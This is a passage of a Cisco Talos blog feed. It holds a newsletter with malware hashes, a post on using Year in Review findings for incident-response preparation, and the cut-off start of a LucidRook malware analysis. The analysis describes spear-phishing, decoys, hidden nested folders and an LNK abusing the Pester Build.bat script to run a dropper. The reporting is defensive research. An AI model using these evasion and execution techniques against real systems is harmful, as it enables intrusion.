&#x201C;Project</strong>&#xA0;<strong>Glasswing&#x201D;</strong>&#xA0;<br>Major technology companies have joined forces&#xA0;in an effort to&#xA0;use advanced artificial intelligence to&#xA0;identify&#xA0;and address security flaws in the world&#x2019;s most critical software systems. (<a href="https://cyberscoop.com/project-glasswing-anthropic-ai-open-source-software-vulnerabilities/" rel="noreferrer noopener"><u>CyberScoop</u></a>)&#xA0;</p><p><strong>Russian government hackers broke into thousands of home routers to steal passwords</strong>&#xA0;<br>Fancy Bear, or APT 28, is known for its high-profile hacks and spying operations, including the breach of the&#xA0;U.S. Democratic National Committee in 2016&#xA0;and&#xA0;the destructive hack that hit satellite provider&#xA0;Viasat&#xA0;in 2022. (<a href="https://techcrunch.com/2026/04/07/russian-government-hackers-broke-into-thousands-of-home-routers-to-steal-passwords/" rel="noreferrer noopener"><u>TechCrunch</u></a>)&#xA0;</p><p><strong>Storm-1175 deploys Medusa ransomware at &#x201C;high velocity&#x201D;</strong>&#xA0;<br>Storm-1175 has rapidly exploited more than a dozen n-days, the most recent of which is CVE-2026-1731, a critical remote code execution flaw in&#xA0;BeyondTrust&#xA0;Remote Support and older versions of the vendor&apos;s Privileged Remote Access. (<a href="https://www.darkreading.com/threat-intelligence/storm-1175-medusa-ransomware-high-velocity" rel="noreferrer noopener"><u>Dark Reading</u></a>)&#xA0;</p><p><strong>North Korean hackers pose</strong>&#xA0;<strong>as</strong>&#xA0;<strong>trading firm to steal $285M from Drift</strong>&#xA0;<br>A&#xA0;group of individuals approached Drift staff at a &#x201C;major crypto conference,&#x201D; presenting as a professional quantitative trading firm. They&#xA0;went&#xA0;so far as&#xA0;to deposit $1M&#xA0;of their own money into a Drift Ecosystem Vault between December 2025 and January 2026.&#xA0;(<a href="https://hackread.com/north-korean-hackers-trading-firm-drift-protocol/" rel="noreferrer noopener"><u>HackRead</u></a>)&#xA0;</p><p><strong>Telehealth giant Hims &amp; Hers says its customer support system was hacked</strong>&#xA0;<br>A spokesperson for Hims &amp; Hers said the company was hit by a social engineering attack, and the stolen data &#x201C;primarily included customer names and email addresses.&#x201D; (<a href="https://techcrunch.com/2026/04/02/telehealth-giant-hims-hers-says-its-customer-support-system-was-hacked/" rel="noreferrer noopener"><u>TechCrunch</u></a>)&#xA0;</p><h2 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t&#xA0;get enough Talos?&#xA0;</h2><p><a href="https://blog.talosintelligence.com/new-lua-based-malware-lucidrook/" rel="noreferrer noopener"><strong><u>New Lua-based malware</u></strong>&#xA0;<strong><u>observed</u></strong>&#xA0;<strong><u>in targeted attacks against Taiwanese organizations</u></strong></a>&#xA0;<br>Cisco Talos uncovered a cluster of&#xA0;activity&#xA0;we track as UAT-10362 conducting spear-phishing campaigns against Taiwanese non-governmental&#xA0;organizations&#xA0;(NGOs)&#xA0;and suspected universities to deliver a newly identified malware family,&#xA0;&#x201C;LucidRook.&#x201D;&#xA0;</p><p><a href="https://blog.talosintelligence.com/year-in-review-vulnerabilities-old-and-new-and-something-react2/" rel="noreferrer noopener"><strong><u>Vulnerabilities old and new and something React2</u></strong></a>&#xA0;<br>2025 was characterized by an unending beat-down on infrastructure that relied on older enmeshed dependencies (e.g., Log4j and&#xA0;PHPUnit), while React2Shell&#xA0;rocketed&#xA0;to the highest percentage of attacks for the entire year within the last&#xA0;three&#xA0;weeks of the year.&#xA0;</p><p><a href="https://blog.talosintelligence.com/from-the-field-to-the-report-and-back-again-how-incident-responders-can-use-the-year-in-review/" rel="noreferrer noopener"><strong><u>From the field to the report and back again</u></strong></a>&#xA0;<br>The same Year in Review report that Talos IR casework&#xA0;feeds into&#xA0;is the report that defenders should be feeding back into their own preparation cycles.&#xA0;Here&#x2019;s&#xA0;how you can start.&#xA0;</p><p><a href="https://www.buzzsprout.com/admin/2018149/episodes/18968770-2025-s-ransomware-trends-and-zombie-vulnerabilities" rel="noreferrer noopener"><strong><u>Talos Takes:</u></strong>&#xA0;<strong><u>2025&apos;s</u></strong>&#xA0;<strong><u>ransomware trends and zombie vulnerabilities</u></strong></a>&#xA0;<br>In this episode, Amy and Pierre Cadieux unpack the ransomware and vulnerability trends that defined 2025. From the persistent ransomware threats targeting the manufacturing sector to the rise of stealthy &quot;living off the land&quot; tactics, we break down what these shifts mean for your defense strategy.&#xA0;</p><h2 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h2><ul><li><a href="https://www.offensivecon.org/" rel="noreferrer noopener"><u>OffensiveCon</u></a>&#xA0;(May 15 &#x2013; 16)&#xA0;Berlin, Germany&#xA0;</li></ul><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</strong>&#xA0;&#xA0;<br>MD5: 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</u></a>&#xA0;<br>Example Filename: VID001.exe&#xA0;&#xA0;<br>Detection Name:&#xA0;Win.Worm.Coinminer::1201&#xA0;</p><p><strong>SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</strong>&#xA0;<br>MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a&#xA0;&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</u></a>&#xA0;<br>Example Filename: APQ9305.dll&#xA0;&#xA0;<br>Detection Name: Auto.90B145.282358.in02&#xA0;</p><p><strong>SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55</strong>&#xA0;&#xA0;<br>MD5: 41444d7018601b599beac0c60ed1bf83&#xA0;&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55</u></a>&#xA0;<br>Example&#xA0;Filename:&#xA0;content.js&#xA0;&#xA0;<br>Detection Name: W32.38D053135D-95.SBX.TG&#xA0;</p><p><strong>SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</strong>&#xA0;&#xA0;<br>MD5: 7bdbd180c081fa63ca94f9c22c457376&#xA0;&#xA0;<br>Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91&#xA0;&#xA0;<br>Example Filename:&#xA0;d4aa3e7010220ad1b458fac17039c274_62_Exe.exe&#xA0;<br>Detection Name:&#xA0;Win.Dropper.Miner::95.sbx.tg**&#xA0;</p><p><strong>SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974</strong>&#xA0;&#xA0;<br>MD5: aac3165ece2959f39ff98334618d10d9&#xA0;&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974</u></a>&#xA0;<br>Example Filename:&#xA0;d4aa3e7010220ad1b458fac17039c274_63_Exe.exe&#xA0;&#xA0;<br>Detection Name:&#xA0;W32.Injector:Gen.21ie.1201&#xA0;</p><p><strong>SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe</strong>&#xA0;&#xA0;<br>MD5: a2cf85d22a54e26794cbc7be16840bb1&#xA0;&#xA0;<br>Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe&#xA0;&#xA0;<br>Example Filename:&#xA0;a2cf85d22a54e26794cbc7be16840bb1.exe&#xA0;&#xA0;<br>Detection Name: W32.5E6060DF7E-100.SBX.TG</p>]]></content:encoded></item><item><title><![CDATA[From the field to the report and back again: How incident responders can use the Year in Review]]></title><description><![CDATA[The Year in Review distills Talos IR's observations into structured intelligence, but defenders should also be feeding this report back into their own preparation cycles. Here's how.]]></description><link>https://blog.talosintelligence.com/from-the-field-to-the-report-and-back-again-how-incident-responders-can-use-the-year-in-review/</link><guid isPermaLink="false">69d3f544421b250001704338</guid><category><![CDATA[Landing Page Top Story]]></category><category><![CDATA[Top Story]]></category><category><![CDATA[2025YiR]]></category><category><![CDATA[Year In Review]]></category><dc:creator><![CDATA[Jerzy ‘Yuri’ Kramarz]]></dc:creator><pubDate>Thu, 09 Apr 2026 10:00:03 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/2025YiR-topic_IR.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/2025YiR-topic_IR.jpg" alt="From the field to the report and back again: How incident responders can use the Year in Review"><p>Every year, Cisco Talos publishes&#xA0;<a href="https://blog.talosintelligence.com/category/year-in-review/" rel="noreferrer noopener"><u>Year in Review</u></a>, a comprehensive look at the&#xA0;previous year&#x2019;s&#xA0;threat landscape.&#xA0;It&#x2019;s&#xA0;drawn from an enormous volume of telemetry,&#xA0;such&#xA0;as&#xA0;endpoint detections, network traffic, email data, and&#xA0;boots-on-the-ground&#xA0;<a href="https://blog.talosintelligence.com/category/ctir-trends/" rel="noreferrer noopener"><u>Cisco Talos Incident</u>&#xA0;<u>Response (Talos</u>&#xA0;<u>IR)</u>&#xA0;<u>engagements</u></a>.&#xA0;</p><p>As incident responders,&#xA0;we see&#xA0;threats&#xA0;mid-detonation in the wreckage of&#xA0;an&#xA0;Active Directory environment,&#xA0;or&#xA0;in&#xA0;the lateral movement artifacts left behind by an affiliate who got in using nothing more than a valid account. The&#xA0;Year in Review&#xA0;distills those raw&#xA0;observations into structured intelligence,&#xA0;but&#xA0;that intelligence loop works both ways. The same report that our IR casework&#xA0;feeds into&#xA0;is the report that defenders should be feeding back into their own preparation cycles.</p><h2 id="ir-casework-shapes-the-year-in-review-the-year-in-review-shapes-your-readiness">IR casework shapes the&#xA0;Year in Review, the&#xA0;Year in&#xA0;Review&#xA0;shapes your readiness&#xA0;</h2><p>When Talos IR&#xA0;closes out&#xA0;an engagement&#xA0;with customers, the tactics,&#xA0;techniques, and procedures (TTPs) we&#xA0;observe&#xA0;through&#xA0;forensic work and analysis&#xA0;are catalogued, aggregated, and analyzed alongside broader&#xA0;Cisco&#xA0;telemetry.&#xA0;When we track the emergence of a new exploit like React2Shell redefining attacker&#xA0;speed,&#xA0;or&#xA0;when we&#xA0;see&#xA0;Qilin&#xA0;rise to dominate the ransomware landscape while legacy groups like&#xA0;others&#xA0;maintain&#xA0;rare, sustained&#xA0;momentum, those shifts in the adversary ecosystem become the intelligence that informs&#xA0;what&#xA0;we are on the lookout for during&#xA0;the&#xA0;next investigation.&#xA0;When we&#xA0;observe&#xA0;patterns of behavior, they&#xA0;may&#xA0;form&#xA0;trend lines&#xA0;that&#xA0;<a href="https://blog.talosintelligence.com/ir-trends-q4-2025/" rel="noreferrer noopener"><u>span multiple years</u></a>&#xA0;and&#xA0;reveal how the landscape is evolving.&#xA0;</p><p>For defenders, this means the&#xA0;Year in Review&#xA0;is not a theoretical document.&#xA0;It is a distillation of what&#xA0;actually happened&#xA0;to organizations&#xA0;we respond to, investigated by the people who were in the room when&#xA0;things broke down.&#xA0;Here are some&#xA0;suggestions on how to operationalize these findings.</p><h2 id="turning-findings-into-tabletop-scenarios">Turning findings into tabletop scenarios&#xA0;</h2><p>One of the most immediate and practical applications of&#xA0;Year in Review&#xA0;is&#xA0;raw material for tabletop exercises. The report hands&#xA0;you&#xA0;the adversary playbook.&#xA0;For example, the 2024&#xA0;Year in Review&#xA0;highlighted that identity-based attacks accounted for 60% of all Talos IR cases, with Active Directory being the focal point in 44% of those incidents. Attackers were not breaking down doors with zero-days; rather, they were walking through the front door with stolen credentials, often bypassing&#xA0;multi-factor authentication (MFA)&#xA0;through push fatigue, misconfigured policies, or the simple fact that MFA was never fully enrolled in the first place&#xA0;for some accounts.&#xA0;&#xA0;</p><p>The&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview" rel="noreferrer noopener"><u>2025</u>&#xA0;<u>Year in Review</u></a>&#xA0;reinforces and deepens this picture. Attacks against MFA evolved significantly, with MFA spray attacks&#xA0;doubling down&#xA0;on&#xA0;identity and access management (IAM)&#xA0;infrastructure while expanding efforts against high-value privileged accounts. Device compromise attacks saw a significant rise in activity, showing that actors increasingly value reliable, repeatable access methods over one-off exploitation. These are adversary preferences that should directly shape your exercise scenariosand cybersecurity preparedness.&#xA0;</p><p>That is a ready-made tabletop scenario.&#xA0;Work with&#xA0;your team&#xA0;on this exact entry scenario&#xA0;and walk through&#xA0;it just as&#xA0;adversary would.&#xA0;An adversary&#xA0;authenticates&#xA0;to your VPN. MFA fires, but the user approves the push because they were already expecting a login prompt. The attacker is now inside your perimeter with legitimate access. What does your detection look like? How quickly do your analysts&#xA0;identify&#xA0;the anomaly? Who makes the call to force a password&#xA0;reset&#xA0;and revoke sessions?&#xA0;These are some good questions to&#xA0;cover&#xA0;in&#xA0;this scenario.&#xA0;The 2025&#xA0;Year in Review&#xA0;found that actors tailor their MFA attack style depending on the sector, and that manufacturing was the most impacted sector for ransomware in 2025, underscoring persistent risk to repeatedly targeted industries. If you&#xA0;operate&#xA0;in manufacturing, health&#xA0;care, or another sector that has appeared consistently in ransomware targeting data, your tabletop should reflect the specific TTPs directed at your&#xA0;vertical&#xA0;&#x2014;&#xA0;not a generic ransomware exercise. These are just some ideas to get started on&#xA0;scenarios.</p><h2 id="validate-your-detections-against-real-world-tradecraft">Validate your detections against real-world tradecraft&#xA0;</h2><p>Beyond tabletops, the&#xA0;Year in Review&#xA0;provides a prioritized list of what to test your detections against. Year after year,&#xA0;Talos&#xA0;IR engagements reveal a consistent core of adversary tradecraft that organizations&#xA0;are still struggling to detect. Tools like PowerShell and&#xA0;Mimikatz&#xA0;appear in&#xA0;a significant portion&#xA0;of engagements. Remote services such as RDP and SSH continue to be abused for lateral movement. Ransomware operators are increasingly disabling security solutions before deploying payloads, and in 2024, they succeeded in doing so at an alarming rate.&#xA0;</p><p>The 2025&#xA0;Year in Review&#xA0;adds critical nuance to detection priorities through its vulnerability analysis. The top 10 most&#xA0;targeted vulnerabilities tell a story about what attackers reach for. React2Shell redefined attacker speed and targeting,&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview" rel="noreferrer noopener"><u>compressing the window between disclosure and exploitation</u></a>.&#xA0;ToolShell&apos;s&#xA0;quick rise to the top five highlighted the sheer volume and impact of attacks exploiting development tool vulnerabilities.&#xA0;</p><p>For defenders, this is a&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview" rel="noreferrer noopener"><u>checklist</u></a>. Can your&#xA0;endpoint detection and response (EDR)&#xA0;detect and&#xA0;alert on&#xA0;the disabling of its own agent? Do you have detections for credential dumping from LSASS&#xA0;or web shell deployment?&#xA0;What about a scenario where direct exploitation takes place, but no web shell is deployed?&#xA0;Are you&#xA0;monitoring for&#xA0;anomalous&#xA0;Remote Desktop Protocol (RDP)&#xA0;sessions originating from unexpected source hosts?&#xA0;The&#xA0;Year in Review&#xA0;tells you what the adversary is&#xA0;actually doing, not what they might hypothetically do.&#xA0;That distinction is critical when you are prioritizing&#xA0;detection&#xA0;engineering&#xA0;across your organization.&#xA0;</p><p>Map these findings to the MITRE ATT&amp;CK framework, which the Talos&#xA0;Quarterly IR&#xA0;Trend&#xA0;Reports and the&#xA0;Year in Review&#xA0;already reference, and you have a structured way to assess your coverage gaps. If valid account abuse is the dominant&#xA0;initial&#xA0;access technique and your detections are heavily weighted toward exploit-based intrusions, you have a mismatch between your defensive posture and the actual&#xA0;threat&#xA0;landscape.</p><h2 id="stress-test-your-ir-plan-not-just-your-tooling">Stress-test your IR plan, not just your tooling&#xA0;</h2><p>The&#xA0;Year in Review&#xA0;also reveals&#xA0;patterns in&#xA0;where&#xA0;organizations struggle that go beyond technology. Across multiple years of IR engagements, common security weaknesses keep surfacing: incomplete asset inventories, inconsistent logging, missing or misconfigured MFA, inadequate network segmentation, and unpatched or end-of-life network devices that&#xA0;remain&#xA0;exposed. The&#xA0;<a href="https://blog.talosintelligence.com/2024yearinreview/" rel="noreferrer noopener"><u>2024 report noted</u></a>&#xA0;that some of the most targeted network vulnerabilities affected end-of-life devices with no available patches, yet those devices remained in production environments. The&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview" rel="noreferrer noopener"><u>2025 data reinforce</u></a>&#xA0;this with even sharper clarity:&#xA0;&#xA0;<a href="https://blog.talosintelligence.com/uat-9686/" rel="noreferrer noopener"><u>Legacy systems remain highly vulnerable to attack</u></a>, CVE age distribution data highlights systemic patch delays, and a small number of vulnerabilities in network infrastructure continue to drive outsized risk.&#xA0;</p><p>Two&#xA0;additional&#xA0;areas from the 2025&#xA0;report&#xA0;deserve attention in your planning cycle. First, phishing continues to evolve. Phishing plays a key role in both&#xA0;initial&#xA0;access and post-compromise activity, with&#xA0;business email compromise-style and workflow-based lures&#xA0;remaining&#xA0;the primary theme. Travel and&#xA0;logistics&#xA0;lures surged, while political lures dropped&#xA0;off&#xA0;and IT-themed lures became more prominent.&#xA0;These shifts matter for security awareness training;&#xA0;if your phishing simulations are still heavily weighted toward current-events&#xA0;lures, they may not reflect what your users are&#xA0;encountering.&#xA0;</p><p>Second, the&#xA0;<a href="https://blog.talosintelligence.com/using-ai-to-defeat-ai/" rel="noreferrer noopener"><u>AI threat landscape</u></a>&#xA0;warrants monitoring. The 2025&#xA0;observations&#xA0;include&#xA0;dedicated coverage of how AI is shaping the threat environment. While the full scope of AI-enabled threats is still&#xA0;emerging, defenders should consider how AI may be lowering the barrier for adversaries in areas like phishing content generation, vulnerability discovery, and social engineering at scale.&#xA0;Your&#xA0;<a href="https://talosintelligence.com/incident_response/plans" rel="noreferrer noopener"><u>IR</u>&#xA0;<u>plans</u></a>&#xA0;should be tested,&#xA0;validated,&#xA0;and&#xA0;updated to handle&#xA0;the&#xA0;new security regime&#xA0;we find ourselves in.&#xA0;</p><h2 id="build-a-year-round-preparation-cadence">Build a year-round preparation cadence&#xA0;</h2><p>Rather than treating the&#xA0;Year in Review&#xA0;as&#xA0;a&#xA0;one-time read, consider building a recurring preparation cycle around&#xA0;it. When the&#xA0;report&#xA0;drops, review the top-level findings with your security leadership and&#xA0;identify&#xA0;the three or four trends most relevant to your environment. In the quieter early months, run a tabletop exercise built around the most applicable scenario. Through the middle of the year,&#xA0;use&#xA0;Quarterly IR&#xA0;Trend&#xA0;Report&#xA0;data to adjust detection priorities and&#xA0;validate&#xA0;coverage. Before year-end, when threat activity tends to intensify, conduct a focused review of your IR plan.&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[New Lua-based malware “LucidRook” observed in targeted attacks against Taiwanese organizations]]></title><description><![CDATA[Cisco Talos uncovered a cluster of activity we track as UAT-10362 conducting spear-phishing campaigns against Taiwanese non-governmental organizations (NGOs) and suspected universities to deliver a newly identified malware family, “LucidRook.” ]]></description><link>https://blog.talosintelligence.com/new-lua-based-malware-lucidrook/</link><guid isPermaLink="false">69d3eaf8421b2500017042af</guid><category><![CDATA[Threat Spotlight]]></category><dc:creator><![CDATA[Ashley Shen]]></dc:creator><pubDate>Wed, 08 Apr 2026 10:00:55 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Taiwan-NGO-Header.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos uncovered a cluster of&#xA0;activity&#xA0;we track as UAT-10362 conducting spear-phishing campaigns against Taiwanese non-governmental&#xA0;organizations&#xA0;(NGOs)&#xA0;and suspected universities to deliver a newly identified malware family,&#xA0;&#x201C;LucidRook.&#x201D;&#xA0;</li><li>LucidRook&#xA0;is a sophisticated stager that embeds a Lua interpreter and Rust-compiled libraries within a&#xA0;dynamic-link library (DLL)&#xA0;to download and execute staged Lua bytecode&#xA0;payloads.&#xA0;The dropper&#xA0;&#x201C;LucidPawn&#x201D;&#xA0;uses region-specific anti-analysis checks and executes only in Traditional Chinese language environments associated with Taiwan.&#xA0;</li><li>Talos&#xA0;identified&#xA0;two distinct infection chains used to deliver&#xA0;LucidRook, involving malicious LNK and EXE files disguised as antivirus&#xA0;software.&#xA0;In both cases, the actor abused&#xA0;an&#xA0;Out-of-band Application Security Testing (OAST)&#xA0;service&#xA0;and&#xA0;compromised FTP servers&#xA0;for&#xA0;command-and-control (C2) infrastructure.&#xA0;</li><li>Through hunting for&#xA0;LucidRook, we discovered&#xA0;&#x201C;LucidKnight,&#x201D;&#xA0;a companion reconnaissance tool that exfiltrates system information via Gmail. Its presence alongside&#xA0;LucidRook&#xA0;suggests the actor&#xA0;operates a tiered toolkit, potentially using&#xA0;LucidKnight&#xA0;to profile targets before escalating to full stager deployment.&#xA0;</li><li>The multi-language modular design,&#xA0;layered anti-analysis features, stealth-focused payload handling of the malware, and reliance on compromised or public infrastructure indicate UAT-10362&#xA0;is a capable threat actor with mature operational tradecraft.</li></ul><hr><h2 id="spear-phishing-campaigns-against-taiwanese-ngos-and-universities">Spear-phishing&#xA0;campaigns&#xA0;against Taiwanese NGOs and&#xA0;universities&#xA0;</h2><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Taiwan-NGO-Header.jpg" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations"><p>Cisco Talos&#xA0;observed&#xA0;a spear-phishing attack delivering&#xA0;LucidRook, a newly identified stager that targeted&#xA0;a&#xA0;Taiwanese&#xA0;NGO&#xA0;in October&#xA0;2025. The metadata in the email suggests that it was delivered via authorized mail infrastructure, which implies potential misuse of legitimate sending capabilities.</p><p>The email&#xA0;contained&#xA0;a shortened URL that leads to the download of a password&#xA0;protected&#xA0;and&#xA0;encrypted RAR archive. The decryption password was included in the email body. Based on this email and the collected samples, Talos observed two distinct infection chains originating from the delivered archives.&#xA0;</p><h2 id="decoy-files">Decoy&#xA0;files&#xA0;</h2><p>In the infection chain, the threat actor deployed a dropper that opens&#xA0;the decoy documents included in the bundle. One&#xA0;example&#xA0;decoy file is&#xA0;a&#xA0;letter issued by the Taiwanese government to universities in Taiwan. This document is a formal directive reminding national universities that teachers with administrative roles are legally required to obtain prior approval and file attendance records before traveling to China.&#xA0;An&#xA0;official&#xA0;version of this&#xA0;document can be found on the&#xA0;Taiwanese&#xA0;government website.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure1-2.jpg" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1801" height="999" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure1-2.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure1-2.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/Figure1-2.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure1-2.jpg 1801w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 1.&#xA0;Decoy&#xA0;file.</span></figcaption></figure><h2 id="two-infection-chains">Two&#xA0;infection&#xA0;chains&#xA0;</h2><p>Talos&#xA0;identified&#xA0;two infection chains used to deploy&#xA0;LucidRook. Both were multi-stage and&#xA0;began with either an LNK or an EXE launcher. The LNK infection chain uses&#xA0;an initial&#xA0;dropper Talos tracks&#xA0;as&#xA0;LucidPawn.&#xA0;</p><h3 id="lnk-based-infection-chain">LNK-based infection chain</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Taiwan-NGO-01.jpg" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="2000" height="1366" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Taiwan-NGO-01.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Taiwan-NGO-01.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/Taiwan-NGO-01.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/04/Taiwan-NGO-01.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 2.&#xA0;LNK-based infection&#xA0;chain.</span></figcaption></figure><p>The LNK-based infection chain was&#xA0;observed&#xA0;in both the sample&#xA0;targeting Taiwanese NGOs (which were&#xA0;distributed via spear-phishing emails)&#xA0;and the sample&#xA0;we&#xA0;suspect&#xA0;targeted&#xA0;Taiwanese universities. Both samples&#xA0;were&#xA0;delivered as an archive,&#xA0;containing&#xA0;an LNK file with a document file with&#xA0;substituted&#xA0;PDF file icon, as well as a hidden directory in the folder, as shown in&#xA0;Figure 3.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure3.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1116" height="172" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure3.png 1116w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 3.&#xA0;LNK with substituted icon in the&#xA0;archive.</span></figcaption></figure><p>The hidden directory&#xA0;contains&#xA0;four layers of nested folders designed to evade&#xA0;analysis.&#xA0;The&#xA0;fourth-level directory&#xA0;contains&#xA0;the LucidPawn dropper sample (<code>DismCore.dll</code>), a legitimate EXE file (<code>install.exe</code>),&#xA0;and a decoy file. An example folder structure is shown&#xA0;in Figure 4.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure4.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1750" height="676" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/Figure4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/Figure4.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure4.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 4.&#xA0;File structure of the malicious archive.</span></figcaption></figure><p>When the user clicks the LNK file, it executes the PowerShell testing framework script&#xA0;<code>C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Build.bat</code>, passing the path to binaries&#xA0;located&#xA0;in the hidden directory&#xA0;in order to&#xA0;launch the embedded malware. This is a&#xA0;<a href="https://lolbas-project.github.io/lolbas/Scripts/pester/" rel="noreferrer noopener"><u>known technique</u></a>&#xA0;that&#xA0;leverages&#xA0;living-off-the-land&#xA0;binaries and&#xA0;scripts (LOLBAS) to evade detection.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/Figure5.png" class="kg-image" alt="New Lua-based malware &#x201C;LucidRook&#x201D; observed in targeted attacks against Taiwanese organizations" loading="lazy" width="1750" height="434" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/Figure5.png 600w, 